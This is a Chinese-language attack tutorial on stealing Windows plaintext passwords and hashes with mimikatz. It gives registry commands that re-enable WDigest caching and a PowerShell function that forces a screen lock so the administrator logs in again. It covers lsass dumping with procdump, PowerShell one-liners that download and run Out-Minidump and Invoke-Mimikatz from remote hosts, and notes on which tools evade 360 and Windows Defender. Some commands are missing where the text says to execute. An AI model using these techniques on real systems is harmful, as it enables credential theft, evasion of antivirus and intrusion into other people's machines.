mimikatz-抓取windows明文密码
除了获取windows用户NTLM hash和用户明文密码之外,还对windows上可能存在的各种明文密码都进行收集,如:浏览器、邮箱等
解决无法获取明文密码的问题
默认情况下,Windows 10以及Windows Server 2012 R2之后的系统,默认禁用Wdigest Auth,即内存(lsass)中禁止保存明文密码,密码显示null,通过以下方法开启,但需要用户重新登录才能成功抓取
开启Wdigest Auth
- cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
- meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
关闭Wdigest Auth
- cmd
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
- powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
- meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0
强制锁屏
开启Wdigest Auth后,需要管理员登录才能抓取明文密码,因此需要强制锁屏,让管理员重新登录
- cmd
- powershell
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"
内存 + mimikatz
在KB2871997之前,mimikatz可以直接从内存抓取明文密码;当安装KB28711997补丁之后,系统默认禁用Wdigest Auth,内存(lsass)不再保存明文口令,因此mimikatz将无法通过内存文件lsass.exe进程直接获取明文密码。
由于存在一些系统服务需要用到Wdigest Auth,因此可以手动开启该功能,开启之后,需要用户重新登录才能生效
默认开启Wdigest Auth的系统有:
- Windows 7
- Windows 8
- Windows 8.1
- Windows Server 2008
- Windows Server 2012
- Windows Server 2012 R2
使用系统权限执行以下mimikatz命令:
一句话:
procdump + mimikatz
注意:本地复原机器须与目标机器一致,且需要在系统权限下执行(免杀效果不错)
## for 64bit
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
## for 32bit
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz
powershell + mimikatz
powershell默认的执行策略为Restricted,可以通过Get-ExecutionPolicy查看当前的策略组;
通过Set-ExecutionPolicy remotesigned修改策略组,以执行脚本
在系统限下的cmd上执行-->本质上就是通过powershell下载并执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
直接从https://github.com/PowerShellMafia/PowerSploit处下载PS脚本Out-Minidump.ps1,然后执行
powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"
上述连个命令会在命令执行目录下自动生成一个以dmp为后缀的文件,将该文件复制到攻击机本地,然后通过mimikatz进行还原
mimikatz.exe "sekurlsa::minidump lsass_880.dmp" exit
mimikatz.exe "sekurlsa::logonpasswords full" exit
当然PS脚本不同执行也稍有差别,另一种比较直接:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
或者直接上传PS脚本至目标机器,然后执行:
powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1';Invoke-Mimikatz}"
写在末尾:虽然这种方式比较直接,但也存在几个问题。第一,目标系统必须支持powershell;第二:采用下载PS脚本并执行的方法,需要目标机器有访问外网的能力;第三,也是最重要的一点,需要做好PS脚本的免杀,不然会和mimikatz.exe一样,很轻易被杀毒软件查杀
sam + mimikatz
注意:本地复原机器必须与目标机器一致,且需要在系统权限下执行(免杀效果还行)
从sam中提取目标系统用户hash
将上述三个文件复制到攻击机本地,然后使用mimikatz获取用户hash
SharpDump + mimikatz(360杀毒已查杀/windows defender未查杀)
于2019-09-03,SharpDump在windows10 defender下没有查杀;360杀毒已查杀
在系统权限下,直接运行SharpDump.exe,程序会自动在C:\Windows\Temp\下生成debug*.bin文件
将上述生成的bin文件拷贝到攻击机本地,修改其后缀为gz,然后将其解压,得到最终文件debug*,通过mimikatz读取该文件,进而获取目标机器的用户hash或明文密码
pwdump7 + mimikatz(360杀毒未查杀/windows defender已查杀)
于2019-09-03,360杀毒最新版附加最新病毒库,并未查杀;于2019-09-03,windows10 defender已查杀
在系统权限下,执行,直接获取用户hash
QuarkPwDump + mimikatz(360杀毒已查杀/windows defender未查杀)
于2019-09-03,360杀毒最新版已查杀;windows10 defender并未查杀(但是win10下无法获取用户hash)
在系统权限下,执行,直接获取用户hash
wce(360杀毒未查杀/windows defender已查杀)
于2019-09-03,360杀毒最新版并未查杀;windows10 defender已查杀(win10下wce无法获取用户hash)
在系统权限下,执行命令
获取明文密码(从wdigest上获取)
lazagne获取windows上所有明文密码(360杀毒未查杀/windows defender已查杀)
此处主要利用lazagne获取windows上所有明文密码,包括windows用户hash,浏览器密码,wifi密码,在系统权限下获取的数据更加丰富